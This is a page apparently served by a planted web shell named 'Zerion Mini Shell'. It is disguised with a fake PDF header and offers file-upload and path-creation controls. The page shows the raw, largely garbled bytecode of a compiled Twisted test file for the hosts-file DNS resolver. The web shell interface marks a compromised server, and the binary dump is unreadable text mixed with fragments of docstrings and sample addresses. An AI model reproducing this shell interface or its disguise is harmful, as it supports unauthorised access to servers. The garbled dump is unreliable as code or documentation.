%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/names/test/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/names/test/__pycache__/test_hosts.cpython-312.pyc

�

Ϫ�f
(����dZddlmZddlmZddlmZddlmZm	Z	m
Z
mZmZm
Z
mZmZddlmZmZmZddlmZddlmZGd	�d
e�ZGd�d�ZGd
�dee�ZGd�dee�ZGd�dee�Zy)zC
Tests for the I{hosts(5)}-based resolver, L{twisted.names.hosts}.
�)�annotations)�Protocol)�
gatherResults)�AAAA�IN�A�DomainError�Query�Record_A�Record_AAAA�RRHeader)�Resolver�
searchFileFor�searchFileForAll)�FilePath)�SynchronousTestCasec��eZdZdd�Zy)�_SupportsMktempc��y)N���selfs �?/usr/lib/python3/dist-packages/twisted/names/test/test_hosts.py�mktempz_SupportsMktemp.mktemps���N)�return�str)�__name__�
__module__�__qualname__rrrrrrs��rrc��eZdZdd�Zy)�GoodTempPathMixinc�R�t|j�jd��S)Nzutf-8)rr�encoders r�pathzGoodTempPathMixin.path!s������
�,�,�W�5�6�6rN)rrrzFilePath[bytes])rrr r%rrrr"r" s��7rr"c�0�eZdZdZdd�Zdd�Zdd�Zdd�Zy)�SearchHostsFileTestsz�
    Tests for L{searchFileFor}, a helper which finds the first address for a
    particular hostname in a I{hosts(5)}-style file.
    c��|j�}|jd�|jdt|jd��y)zr
        If there is an IPv4 address for the hostname passed to L{searchFileFor},
        it is returned.
        �10.2.3.4 foo.example.com
z10.2.3.4�foo.example.comN�r%�
setContent�assertEqualr�r�hostss  r�test_findAddressz%SearchHostsFileTests.test_findAddress+s:��
�	�	���
���6�7�����]�5�:�:�?Q�%R�Src��|j�}|jd�|jt|jd��y)z~
        If there is no address information for the hostname passed to
        L{searchFileFor}, L{None} is returned.
        r)sbar.example.comN)r%r,�assertIsNonerr.s  r�test_notFoundAddressz)SearchHostsFileTests.test_notFoundAddress4s8��
�	�	���
���6�7����-��
�
�4F�G�Hrc��|j�}|jd�|jdt|jd��y)zS
        The first address associated with the given hostname is returned.
        sV::1 foo.example.com
10.1.2.3 foo.example.com
fe80::21b:fcff:feee:5a1d foo.example.com
�::1r*Nr+r.s  r�test_firstAddressz&SearchHostsFileTests.test_firstAddress=s@���	�	���
���
:�	
�
	
����
�e�j�j�:L� M�Nrc���|j�}|jd�|jt|jd�d�|jt|jd�d�|jt|jd�d�|jt|jd�d�|jt|jd�d�y	)
z�
        For a host with a canonical name and one or more aliases,
        L{searchFileFor} can find an address given any of the names.
        sY127.0.1.1	helmut.example.org	helmut
# a comment
::1 localhost ip6-localhost ip6-loopback
shelmutz	127.0.1.1shelmut.example.orgs
ip6-localhostr5sip6-loopbacks	localhostNr+r.s  r�test_searchFileForAliasesz.SearchHostsFileTests.test_searchFileForAliasesIs���
�	�	���
���
:�	
�
	
����u�z�z�9�=�{�K�����u�z�z�3H�I�;�W�����u�z�z�3C�D�e�L�����u�z�z�?�C�U�K�����u�z�z�<�@�%�HrN�r�None)rrr �__doc__r0r3r6r8rrrr'r'%s���
T�I�
O�Irr'c�0�eZdZdZdd�Zdd�Zdd�Zdd�Zy)�SearchHostsFileForAllTestsz�
    Tests for L{searchFileForAll}, a helper which finds all addresses for a
    particular hostname in a I{hosts(5)}-style file.
    c��|j�}|jd�|jgd�t|d��y)zt
        L{searchFileForAll} returns a list of all addresses associated with the
        name passed to it.
        sc127.0.0.1     foobar.example.com
127.0.0.2     foobar.example.com
::1           foobar.example.com
)�	127.0.0.1z	127.0.0.2r5sfoobar.example.comN�r%r,r-rr.s  r�test_allAddressesz,SearchHostsFileForAllTests.test_allAddressesas@��
�	�	���
���
2�	
�
	
���-��U�$9�:�	
rc��|j�}|jd�|jdgt|d��y)zL
        L{searchFileForAll} searches for names case-insensitively.
        s!127.0.0.1     foobar.EXAMPLE.com
r?sFOOBAR.example.comNr@r.s  r�test_caseInsensitivelyz1SearchHostsFileForAllTests.test_caseInsensitivelyqs9���	�	���
���>�?����+��(8��@U�(V�Wrc�X�|jgt|j�d��y)z�
        If there is an error reading the contents of the hosts file,
        L{searchFileForAll} returns an empty list.
        sexample.comN)r-rr%rs r�test_readErrorz)SearchHostsFileForAllTests.test_readErrorys"��
	
����-�d�i�i�k�>�J�Krc��|j�}|jd�|jddgt|d��y)zw
        L{searchFileForAll} ignores any malformed IP addresses associated with
        the name passed to it.
        s[127.0.0.1	miser.example.org	miser
not-an-ip	miser
�not-ascii	 miser
# miser
miser
::1 miserr?r5smiserNr@r.s  r�test_malformedIPz+SearchHostsFileForAllTests.test_malformedIP�sD��
�	�	���
���
�	
�	
���
�%� ��U�H�-�	
rNr9)rrr r;rArCrErGrrrr=r=[s���

� X�L�
rr=c�x�eZdZdZdd�Zdd�Zdd�Zdd�Zdd�Zdd�Z	dd�Z
dd	�Zdd
�Zdd�Z
dd�Zdd
�Zdd�Zy)�
HostsTestszJ
    Tests for the I{hosts(5)}-based L{twisted.names.hosts.Resolver}.
    c��|j�}|jd�d|_t|j|j�|_y)Ns

1.1.1.1    EXAMPLE EXAMPLE.EXAMPLETHING
::2        mixed
1.1.1.2    MIXED
::1        ip6thingy
1.1.1.3    multiple
1.1.1.4    multiple
::3        ip6-multiple
::4        ip6-multiple
not-an-ip  malformed
malformed
# malformed
1.1.1.5    malformed
::5        malformed
ih)r%r,�ttlr�resolver)r�fs  r�setUpzHostsTests.setUp�s=���I�I�K��	���
�	
�"��� �������2��
rc�P�t�}|jd|j�y)z�
        The default hosts file used by L{Resolver} is I{/etc/hosts} if no value
        is given for the C{file} initializer parameter.
        s
/etc/hostsN)rr-�file)rrLs  r�test_defaultPathzHostsTests.test_defaultPath�s��
�:�������
�
�6rc���gd�}|D��cgc]:\}}|jj|�j|j|���<}}}|j	t|��ycc}}w)z�
        L{hosts.Resolver.getHostByName} returns a L{Deferred} which fires with a
        string giving the address of the queried name as found in the resolver's
        hosts file.
        ))�EXAMPLE�1.1.1.1)sEXAMPLE.EXAMPLETHINGrT)sMIXED�1.1.1.2N)rL�
getHostByName�addCallbackr-�successResultOfr)r�data�n�ip�dss     r�test_getHostByNamezHostsTests.test_getHostByName�sh��
���
���2�
�M�M�'�'��*�6�6�t�7G�7G��L�
��
�	
���]�2�.�/��	
s�?A'c
�X�|jjd�}|j|�\}}}|jt	dt
t|jtd|j��t	dt
t|jtd|j��f|�y)z
        L{hosts.Resolver.lookupAddress} returns a L{Deferred} which fires with A
        records from the hosts file.
        smultiplez1.1.1.3z1.1.1.4N�	rL�
lookupAddressrXr-r
rrrKr�r�d�answers�	authority�
additionals     r�test_lookupAddresszHostsTests.test_lookupAddress�s���

�M�M�'�'��4��)-�)=�)=�a�)@�&���J������a��T�X�X�x�	�4�8�8�7T�U���a��T�X�X�x�	�4�8�8�7T�U�
�
�	
rc
�X�|jjd�}|j|�\}}}|jt	dt
t|jtd|j��t	dt
t|jtd|j��f|�y)z�
        L{hosts.Resolver.lookupIPV6Address} returns a L{Deferred} which fires
        with AAAA records from the hosts file.
        sip6-multiplez::3z::4N�	rL�lookupIPV6AddressrXr-r
rrrKrras     r�test_lookupIPV6Addressz!HostsTests.test_lookupIPV6Address�s���

�M�M�+�+�O�<��)-�)=�)=�a�)@�&���J�����#�T�2�t�x�x��U�D�H�H�9U���#�T�2�t�x�x��U�D�H�H�9U��	
�
�
	
rc���|jjd�}|j|�\}}}|jt	dt
t|jtd|j��f|�y)z�
        L{hosts.Resolver.lookupAllRecords} returns a L{Deferred} which fires
        with A records from the hosts file.
        smixedrUN)	rL�lookupAllRecordsrXr-r
rrrKrras     r�test_lookupAllRecordsz HostsTests.test_lookupAllRecords�sb��

�M�M�*�*�8�4��)-�)=�)=�a�)@�&���J����
�h��2�t�x�x��)�T�X�X�1N�
O�Q��	
rc�b�|j|jjd�t�y)z|
        L{hosts.Resolver} fails with L{NotImplementedError} for L{IResolver}
        methods it doesn't implement.
        rSN)�failureResultOfrL�lookupMailExchange�NotImplementedErrorrs r�test_notImplementedzHostsTests.test_notImplemented�s'��
	
����M�M�,�,�Z�8�:M�	
rc���|jjtd��}|j|�\\}}}|j	|j
j
�d�y)NrSrT)rL�queryr
rXr-�payload�
dottedQuad�rrb�answerrdres     r�
test_queryzHostsTests.test_query�sQ���M�M����j� 1�2��*.�*>�*>�q�*A�'���)�Z�������2�2�4�i�@rc�b�|j|jjd�t�y)z�
        L{hosts.Resolver.lookupAddress} returns a L{Deferred} which fires with
        L{dns.DomainError} if the name passed in has no addresses in the hosts
        file.
        �foueoaN)rorLr`r	rs r�test_lookupAddressNotFoundz%HostsTests.test_lookupAddressNotFounds#��	
���T�]�]�8�8��C�[�Qrc�b�|j|jjd�t�y)zj
        Like L{test_lookupAddressNotFound}, but for
        L{hosts.Resolver.lookupIPV6Address}.
        r{N)rorLrir	rs r�test_lookupIPV6AddressNotFoundz)HostsTests.test_lookupIPV6AddressNotFounds#��
	
���T�]�]�<�<�Y�G��Urc�b�|j|jjd�t�y)zi
        Like L{test_lookupAddressNotFound}, but for
        L{hosts.Resolver.lookupAllRecords}.
        r{N)rorLrlr	rs r�test_lookupAllRecordsNotFoundz(HostsTests.test_lookupAllRecordsNotFounds#��
	
���T�]�]�;�;�I�F��Trc���|jjd�}|j|�\\}}}|jt	dt
t|jtd|j��|�y)z�
        L{hosts.Resolver.lookupAddress} returns a L{Deferred} which fires with
        the valid addresses from the hosts file, ignoring any entries that
        aren't valid IP addresses.
        �	malformedz1.1.1.5Nr_rws     r�test_lookupMalformedzHostsTests.test_lookupMalformedsa��
�M�M�'�'��5��*.�*>�*>�q�*A�'���)�Z�����\�1�b�$�(�(�H�Y����4Q�R��	
rc���|jjd�}|j|�\\}}}|jt	dt
t|jtd|j��|�y)zk
        Like L{test_lookupAddressMalformed}, but for
        L{hosts.Resolver.lookupIPV6Address}.
        r�z::5Nrhrws     r�test_lookupIPV6Malformedz#HostsTests.test_lookupIPV6Malformed'sa��

�M�M�+�+�L�9��*.�*>�*>�q�*A�'���)�Z�����\�4��T�X�X�{�5�$�(�(�7S�T��	
rNr9)rrr r;rNrQr]rfrjrmrrryr|r~r�r�r�rrrrIrI�sL���3�,7�0�"

�
�&

�
�A�
R�V�U�
�

rrIN)r;�
__future__r�typingr�twisted.internet.deferr�twisted.names.dnsrrrr	r
rrr
�twisted.names.hostsrrr�twisted.python.filepathr�twisted.trial.unittestrrr"r'r=rIrrr�<module>r�s���#��0�	�	�	�J�I�,�6��h��
7�7�
3I�.�0A�3I�l6
�!4�6G�6
�r]
�$�&7�]
r

Zerion Mini Shell 1.0